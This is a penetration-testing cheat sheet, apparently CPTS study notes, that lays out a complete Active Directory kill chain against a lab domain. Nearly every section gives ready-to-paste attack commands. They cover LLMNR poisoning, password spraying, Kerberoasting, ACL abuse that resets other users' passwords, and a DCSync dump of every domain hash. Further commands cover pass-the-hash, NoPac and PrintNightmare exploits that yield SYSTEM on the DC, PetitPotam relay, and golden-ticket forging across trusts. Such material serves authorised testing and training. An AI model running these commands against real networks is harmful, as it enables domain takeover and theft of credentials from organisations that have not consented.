Active Directory Attacks
The full CPTS Active Directory kill chain in one place, organised by phase: Initial Enumeration → Poisoning & Foothold → Password Spraying → Credentialed Enumeration → Kerberos Attacks → ACL Abuse → DCSync → Lateral Movement → Bleeding-Edge CVEs → Domain Trusts. Responder/Inveigh, Kerbrute, CrackMapExec/NetExec, BloodHound, PowerView, Kerberoasting/AS-REP, ACL chains, NoPac/PrintNightmare/PetitPotam, child→parent and cross-forest trust abuse. Every payload is its own copy block.
The domain kill chain: enumerate the domain, grab a first set of creds (poisoning or spraying), enumerate again with those creds, roast Kerberos, abuse ACLs to escalate, then DCSync and pivot across trusts. Headings are grouped by phase. Local host privesc and credential looting live in Windows Privilege Escalation; hash cracking and Pass-the-Hash detail live in Password Attacks.
The guiding principle: always go wide and passive first, then narrow and active. Passive recon never touches the target, so it carries no risk and no noise; you only escalate to active probing (and then to attacks) once you understand the environment and have validated scope. Each section below notes why and when you’d run it.
How to choose which attack — the decision loop
AD feels like a pile of unrelated tricks, but it’s really one loop repeated until you’re Domain Admin:
get a credential → use it to enumerate → find the next escalation → get a better credential → repeat.
Every technique in this note does exactly one of five jobs. Once you can label a technique by its job, “when do I use it?” answers itself — you use it when you’re standing at that step with nothing better available.
| # | The job it does | Techniques | Reach for these when… |
|---|---|---|---|
| 1 | Get a first credential (you have none) | LLMNR/NBT-NS poisoning, password spraying, AS-REP roasting, null/anonymous SMB + LDAP | you’re on the network but hold no username/password yet |
| 2 | Map the terrain (you have a cred) | BloodHound, ldapsearch, nxc --users/--shares, Snaffler | you just got any credential and need to see where it can reach |
| 3 | Get a better credential | Kerberoasting, ACL abuse, LSASS/SAM dump, GPP cpassword, DCSync | enumeration showed a path and you need higher-priv creds to walk it |
| 4 | Move with a credential | Pass-the-Hash, Pass-the-Ticket, Pass-the-Certificate | you hold a hash/ticket and a host where it’s admin |
| 5 | Cross a boundary | child→parent ExtraSids, cross-forest abuse | you own one domain and a trust leads to the next |
What do I have right now → what do I do next
This is the table to read when you’re stuck. Find the row that matches what you currently hold:
| What you currently hold | Your next move |
|---|---|
| Nothing, external | Phase 0 — ASN/DNS/breach data, harvest usernames |
| On the LAN, no creds | Responder -A (listen) → poison; try null SMB/LDAP; AS-REP roast a user list |
| A user list, no password | read the password policy, then spray one common password |
| One valid credential (any user) | run BloodHound first, then Kerberoast + read ACL edges |
| A crackable hash (Kerberoast/AS-REP) | crack offline → you now hold a (better) credential → re-enumerate |
| A BloodHound control edge | walk the ACL chain (ForceChangePassword / GenericAll / AddMember…) |
| Local admin on a host | dump LSASS + SAM → harvest hashes/tickets |
| A privileged hash or ticket | Pass-the-Hash / Ticket to the host where it’s admin |
| Replication rights | DCSync → every domain hash (the domain is yours) |
| Domain Admin + a trust exists | ExtraSids golden ticket (child→parent) or cross-forest abuse |
Stuck? Ask one question: “What do I have, and which of the 5 jobs gets me one step more?” That single question is the methodology — everything below is just the how-to for each job.
Phase 0: External Recon (passive, before you touch the network)
Why: map the org’s footprint, validate scope, and harvest usernames/breach creds — all without sending a single packet to in-scope hosts. When: at the very start of an external engagement, and any time you’re stuck and need a fresh foothold (a leaked cred or unknown subdomain).
What you’re hunting: IP space (ASN, netblocks, cloud presence), domain data (DNS, registrations, subdomains, exposed services), schema (email/AD username format + password policy for spraying), and breach data (leaked creds).
Find the org’s ASN and netblocks (self-hosted infra has its own ASN; small orgs sit in cloud ranges — mind scope):
https://bgp.he.net/ → search the domain or a known IP
Validate IP / DNS data and find undocumented hosts (reverse IP, DNS report, IP history):
https://viewdns.info/ → Reverse IP Lookup, DNS Report
Pull DNS records manually to confirm name servers and mail hosts:
nslookup -type=any inlanefreight.com 8.8.8.8
Hunt published documents that leak internal paths/usernames (Google dork):
filetype:pdf inurl:inlanefreight.com
Harvest the email/username convention (feeds password spraying):
intext:"@inlanefreight.com" inurl:inlanefreight.com
Scrape LinkedIn into username mashups (flast, first.last, f.last):
linkedin2username -c inlanefreight -n inlanefreight.com
Search breach data for cleartext creds / hashes to try against exposed portals:
sudo python3 dehashed.py -q inlanefreight.local -p
Scan public repos / cloud storage for committed secrets:
trufflehog github --repo https://github.com/TARGET/repo
Scope warning: an ASN/netblock may be shared (Cloudflare, AWS, Azure). Confirm a host is your client’s before any active interaction — never attack shared infrastructure.
Phase 1: Initial Enumeration
Host discovery
Why passive first: once you’re on the internal network, listen before you speak. Running Responder in analyze mode (-A) watches broadcast traffic (LLMNR/NBT-NS/mDNS) to map who’s talking and spot naming conventions — without sending a single poisoned reply. That means zero risk of disrupting the network or tipping off defenders, and it tells you whether poisoning will even be fruitful before you do it actively.
sudo responder -I ens224 -A
Passively sniff the wire for hosts, services and even cleartext creds (again, send nothing):
sudo tcpdump -i ens224
When you’re ready to be active: sweep for live hosts (faster, but it generates traffic):
fping -asgq 172.16.5.0/23
Then fingerprint the live hosts in detail:
sudo nmap -v -A -iL hosts.txt -oN /tmp/scan.txt
A DC betrays itself by having 88 (Kerberos) + 389 (LDAP) + 445 (SMB) open together — that’s your primary target for the rest of the chain.
Username enumeration (Kerbrute)
Pre-auth username enumeration (no lockout, no logon events):
kerbrute userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o valid_users.txt
Password policy
From Linux over an SMB NULL session:
rpcclient -U "" -N 172.16.5.5
querydominfo
Get the policy directly with CrackMapExec:
crackmapexec smb 172.16.5.5 -u '' -p '' --pass-pol
Over an LDAP anonymous bind:
ldapsearch -H ldap://172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" | grep -i lockoutThreshold
From a domain Windows host:
net accounts
Pull a user list
SMB NULL-session user dump with enum4linux-ng:
enum4linux-ng -P 172.16.5.5 -oA ilfreight
Users via rpcclient:
enumdomusers
LDAP anonymous user dump with windapsearch:
python3 windapsearch.py --dc-ip 172.16.5.5 -u "" -U
Phase 2: Poisoning & Foothold
Why: when a Windows host fails DNS, it falls back to broadcasting LLMNR/NBT-NS asking “who is \fileshrv?”. Anyone on the segment can answer “me”, and the victim then sends its NetNTLMv2 hash. When: you have no creds yet but are on the internal LAN — this is the classic zero-credential foothold. Only switch from passive (-A) to active poisoning once you’ve confirmed the chatter and that you’re authorised to interfere with traffic.
LLMNR / NBT-NS poisoning (Linux)
Start Responder poisoning on the interface (drops the -A, so it now answers the broadcasts):
sudo responder -I ens224
Crack the captured NetNTLMv2 hash (mode 5600):
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt
LLMNR / NBT-NS poisoning (Windows)
Inveigh (PowerShell):
Import-Module .\Inveigh.ps1; Invoke-Inveigh -ConsoleOutput Y -FileOutput Y
C# Inveigh (InveighZero):
.\Inveigh.exe
Phase 3: Password Spraying
Why: one weak-but-common password (Welcome1, Season+Year) is usually reused by someone in a large org. Spraying one password across all users avoids the per-account lockout that brute-forcing one account would trigger. When: you have a valid user list (from Kerbrute/LDAP) but no password yet — and only after you’ve read the password policy so you stay under the lockout threshold (spray slowly, e.g. 1 attempt per account per lockout window).
Build a target user list first (valid_users.txt from Kerbrute / LDAP), then spray one password against all of them.
Spraying from Linux
Kerbrute password spray:
kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1
CrackMapExec spray (watch lockout policy):
crackmapexec smb 172.16.5.5 -u valid_users.txt -p 'Welcome1' | grep '+'
Validate local-admin reuse across the subnet:
crackmapexec smb 172.16.5.0/23 -u administrator -p 'Password123!' --local-auth
Spraying from Windows
DomainPasswordSpray (auto-pulls the user list from the domain):
Import-Module .\DomainPasswordSpray.ps1; Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue
Phase 4: Credentialed Enumeration
Why: a single domain credential — even an unprivileged one — unlocks the entire directory over LDAP. This is where you map users, groups, ACLs, sessions and trusts to find the path to Domain Admin rather than guessing. When: immediately after your first valid cred (from poisoning/spraying). Run BloodHound first — it turns thousands of objects into a visual attack path so you don’t enumerate blind.
From Linux
CrackMapExec — users:
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users
CrackMapExec — groups:
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups
CrackMapExec — logged-on users / shares:
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --loggedon-users --shares
SMBMap to enumerate share access:
smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5
rpcclient over authenticated session:
rpcclient -U "INLANEFREIGHT.LOCAL/forend%Klmcargo2" 172.16.5.5
windapsearch — find Domain Admins:
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 --da
windapsearch — privileged users (recursive):
python3 windapsearch.py --dc-ip 172.16.5.5 -u forend@inlanefreight.local -p Klmcargo2 -PU
Collect BloodHound data from Linux:
bloodhound-python -u forend -p Klmcargo2 -d inlanefreight.local -ns 172.16.5.5 -c all --zip
From Windows
Import the AD PowerShell module:
Import-Module ActiveDirectory; Get-ADDomain
Find AS-REP-roastable users (no pre-auth):
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth | select name
Load PowerView:
Import-Module .\PowerView.ps1
PowerView — detailed info on one user:
Get-DomainUser -Identity mmorgan -Domain inlanefreight.local | select samaccountname,memberof,pwdlastset,admincount
PowerView — recursive group membership:
Get-DomainGroupMember -Identity "Domain Admins" -Recurse
PowerView — find machines where you have local admin:
Find-LocalAdminAccess
PowerView — hunt for where a target user is logged in:
Find-DomainUserLocation -UserIdentity tjohnson
Snaffler — sweep domain shares for secrets:
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data
Run SharpHound from the Windows host:
.\SharpHound.exe -c All --zipfilename ILFREIGHT
Phase 5: Kerberos Attacks
Why: any domain user can request a service ticket (TGS) for any account with an SPN, and that ticket is encrypted with the service account’s password hash — so you can crack it offline, no privileges needed. AS-REP roasting is the same idea for accounts with pre-auth disabled. When: right after credentialed enumeration flags SPN accounts (Kerberoast) or no-preauth accounts (AS-REP). It’s low-risk (normal Kerberos traffic) and frequently nets a service account with strong rights.
Kerberoasting (Linux)
Request TGS hashes for every SPN account:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request -outputfile kerberoast_hashes.txt
Target a single account:
GetUserSPNs.py -dc-ip 172.16.5.5 INLANEFREIGHT.LOCAL/forend -request-user sqldev -outputfile sqldev_tgs
Crack the TGS-REP (mode 13100):
hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt
Kerberoasting (Windows)
Rubeus — roast the whole domain, no line-wrap:
.\Rubeus.exe kerberoast /nowrap /outfile:hashes.kerberoast
AS-REP Roasting
Pull AS-REP hashes for accounts without Kerberos pre-auth:
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile valid_users.txt -format hashcat -outputfile asrep_hashes.txt
Crack them (mode 18200):
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
Rubeus from Windows:
.\Rubeus.exe asreproast /nowrap
Phase 6: ACL Abuse
Why: misconfigured object permissions (GenericAll, WriteDACL, ForceChangePassword…) let one principal control another — and BloodHound chains those edges into a path from your low-priv user to Domain Admin. When: after BloodHound reveals an outbound control edge from a principal you own. Walk the chain in order, and note every change you make (you’re modifying live AD objects — clean up afterward).
Read BloodHound’s outbound object-control edges, then abuse them in chain order.
PowerView — find interesting ACLs your user can abuse:
Find-InterestingDomainAcl -ResolveGUIDs | ? {$_.IdentityReferenceName -match 'wley'}
Build a credential object for the controlled user:
$pass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force; $Cred = New-Object System.Management.Automation.PSCredential('INLANEFREIGHT\wley', $pass)
GenericAll / GenericWrite on a user → force-change their password:
$newpass = ConvertTo-SecureString 'Pwn3d_by_acl!' -AsPlainText -Force; Set-DomainUserPassword -Identity damundsen -AccountPassword $newpass -Credential $Cred -Verbose
WriteDacl on a group → grant yourself rights, then add a member:
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members 'damundsen' -Credential $Cred -Verbose
GenericWrite on a user → targeted Kerberoast (set a fake SPN, roast, remove). From Linux:
targetedKerberoast.py -v -d inlanefreight.local -u forend -p Klmcargo2
Phase 7: DCSync
Why: a DC will replicate directory data — including password hashes — to anything that asks if it holds replication rights. DCSync impersonates a DC to pull krbtgt and every account’s NT hash, which is effectively game over (golden tickets, Pass-the-Hash as anyone). When: once you control an account with replication rights (Domain Admins, Enterprise Admins, or a delegated account BloodHound flags with GetChanges/GetChangesAll).
With replication rights (DS-Replication-Get-Changes / BloodHound GetChanges), pull every hash from the DC.
secretsdump.py — dump the whole NTDS:
secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT.LOCAL/adunn@172.16.5.5
Just the Administrator hash:
secretsdump.py -just-dc-user administrator INLANEFREIGHT.LOCAL/adunn@172.16.5.5
Mimikatz from a domain-joined host:
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator
Phase 8: Privileged Access & Lateral Movement
Why: Windows lets you authenticate with an NT hash or a Kerberos ticket — you rarely need the cleartext password. So a hash dumped from one host becomes access to every host where that account is local admin. When: after you’ve recovered a hash/ticket and BloodHound (or --local-auth sweeps) shows where it grants admin. Prefer wmiexec/WinRM over psexec when you want to stay quiet (no service created).
Use recovered hashes, tickets and passwords to reach other hosts. Full Pass-the-Hash / Ticket / Certificate reference lives in Password Attacks.
Pass-the-Hash
psexec / wmiexec with an NT hash:
psexec.py administrator@172.16.5.5 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
Evil-WinRM with a hash:
evil-winrm -i 172.16.5.5 -u administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
CrackMapExec command exec across the subnet with a hash:
crackmapexec smb 172.16.5.0/23 -u administrator -H 30B3783CE2ABF1AF70F77D0660CF3453 -x whoami
Pass-the-Ticket
From Linux — request a TGT with an NT hash:
getTGT.py INLANEFREIGHT.LOCAL/administrator -hashes :30B3783CE2ABF1AF70F77D0660CF3453
Point Kerberos at the ccache:
export KRB5CCNAME=administrator.ccache
Use it (hostnames, not IPs):
psexec.py -k -no-pass INLANEFREIGHT.LOCAL/administrator@DC01
Groups that grant access
Enumerate who can RDP / WinRM / use the DB:
Get-DomainGroupMember -Identity "Remote Desktop Users" -Recurse
The Kerberos “double-hop” problem
Hop tickets with a fresh credential when WinRM eats your TGT — re-supply creds via a PSCredential or use a -k ticket. Quick check:
klist
Phase 9: Bleeding-Edge CVEs
NoPac (SamAccountName spoofing, CVE-2021-42278/42287)
Scan for the vuln (needs ms-DS-MachineAccountQuota > 0):
sudo python3 scanner.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -use-ldap
Pop a SYSTEM shell on the DC:
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 -shell --impersonate administrator -use-ldap
Or DCSync the Administrator directly:
sudo python3 noPac.py INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5 -dc-host ACADEMY-EA-DC01 --impersonate administrator -use-ldap -dump -just-dc-user INLANEFREIGHT/administrator
PrintNightmare (CVE-2021-34527)
Confirm the Print Spooler / MS-RPRN endpoint is reachable:
rpcdump.py @172.16.5.5 | egrep 'MS-RPRN|MS-PAR'
Run a CVE-2021-1675 exploit to load a malicious DLL as SYSTEM:
python3 CVE-2021-1675.py inlanefreight.local/forend:Klmcargo2@172.16.5.5 '\\172.16.5.225\share\addCube.dll'
PetitPotam (MS-EFSRPC, CVE-2021-36942)
Relay DC auth to AD CS Web Enrollment — start ntlmrelayx:
sudo ntlmrelayx.py -debug -smb2support --target http://ACADEMY-EA-CA01.INLANEFREIGHT.LOCAL/certsrv/certfnsh.asp --adcs --template DomainController
Coerce the DC to authenticate:
python3 PetitPotam.py 172.16.5.225 172.16.5.5
Use the captured base64 cert to request a DC TGT (PKINITtools):
python3 gettgtpkinit.py INLANEFREIGHT.LOCAL/ACADEMY-EA-DC01\$ -pfx-base64 <BASE64_CERT> dc01.ccache
GPP cpassword (MS14-025)
Loot SYSVOL Groups.xml for the AES-encrypted cpassword with CrackMapExec:
crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M gpp_password
Decrypt a cpassword blob:
gpp-decrypt VPe/o9YRyz2cQjudVbF4xRcWZ4l1bnZ9q2cBKAZ4kZ4
Phase 10: Domain Trusts
Why: owning one domain often hands you the rest of the forest. A child domain trusts its parent, and the shared krbtgt/SID-history mechanics let you forge a ticket with the parent’s Enterprise Admins SID — so child-DA becomes forest-EA. When: after you’ve fully compromised one domain (have its krbtgt hash) and Get-DomainTrustMapping shows a parent/forest trust worth crossing.
Enumerate trusts
PowerView — map every reachable trust:
Get-DomainTrustMapping
From Linux:
nltest /domain_trusts
Child → Parent (ExtraSids / Golden Ticket)
Five pieces to collect: child KRBTGT hash, child domain SID, target user (Administrator), parent domain FQDN, and the Enterprise Admins SID.
DCSync the child KRBTGT hash:
secretsdump.py logistics.inlanefreight.local/htb-student_adm@172.16.5.240 -just-dc-user LOGISTICS/krbtgt
Get the child domain SID:
Get-DomainSID
Brute the parent Enterprise Admins SID with lookupsid:
lookupsid.py logistics.inlanefreight.local/htb-student_adm@172.16.5.5 | grep -B12 "Enterprise Admins"
Forge the inter-realm golden ticket with ticketer.py (extra SID = parent Enterprise Admins):
ticketer.py -nthash 9d765b482771505cbe97411065964d5f -domain LOGISTICS.INLANEFREIGHT.LOCAL -domain-sid S-1-5-21-2806153819-209893948-922872689 -extra-sid S-1-5-21-3842939050-3880317879-2865463114-519 hacker
Load it and pivot to the parent DC:
export KRB5CCNAME=hacker.ccache && psexec.py LOGISTICS.INLANEFREIGHT.LOCAL/hacker@academy-ea-dc01.inlanefreight.local -k -no-pass -target-ip 172.16.5.5
One-shot the whole chain with raiseChild.py:
raiseChild.py -target-exec 172.16.5.5 LOGISTICS.INLANEFREIGHT.LOCAL/htb-student_adm
Cross-forest trust abuse
Kerberoast across the forest trust from Windows:
.\Rubeus.exe kerberoast /domain:FREIGHTLOGISTICS.LOCAL /user:mssqlsvc /nowrap
From Linux:
GetUserSPNs.py -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/forend:Klmcargo2 -dc-ip 172.16.5.5
Hunt foreign group membership (users from another forest in privileged groups):
Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL
Order of effort: enumerate (poison or spray for a first cred) → BloodHound everything → Kerberoast/AS-REP for more creds → walk ACL edges to a privileged account → DCSync the domain → forge an ExtraSids ticket to jump child→parent. Recovered hashes and tickets flow straight into Password Attacks.